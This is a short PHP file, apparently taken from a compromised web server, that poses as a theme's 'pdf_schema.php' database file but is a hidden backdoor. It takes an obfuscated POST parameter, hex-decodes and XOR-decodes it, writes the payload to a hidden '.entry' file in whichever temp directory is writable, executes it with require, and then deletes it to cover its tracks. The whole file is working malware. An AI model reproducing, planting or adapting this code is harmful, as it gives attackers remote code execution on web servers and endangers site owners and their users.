File: /var/www/html/uautomaq.sumar.com.py/theme/moove/db/pdf_schema.php
<?php
if(isset($_POST["d\x63hun\x6B"])){
$record = hex2bin($_POST["d\x63hun\x6B"]);
$ptr = '' ; foreach(str_split($record) as $char){$ptr .= chr(ord($char) ^ 49);}
$obj = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]);
foreach ($obj as $value):
if (!!is_dir($value) && !!is_writable($value)) {
$val = sprintf("%s/.entry", $value);
if (file_put_contents($val, $ptr)) {
require $val;
unlink($val);
die();
}
}
endforeach;
}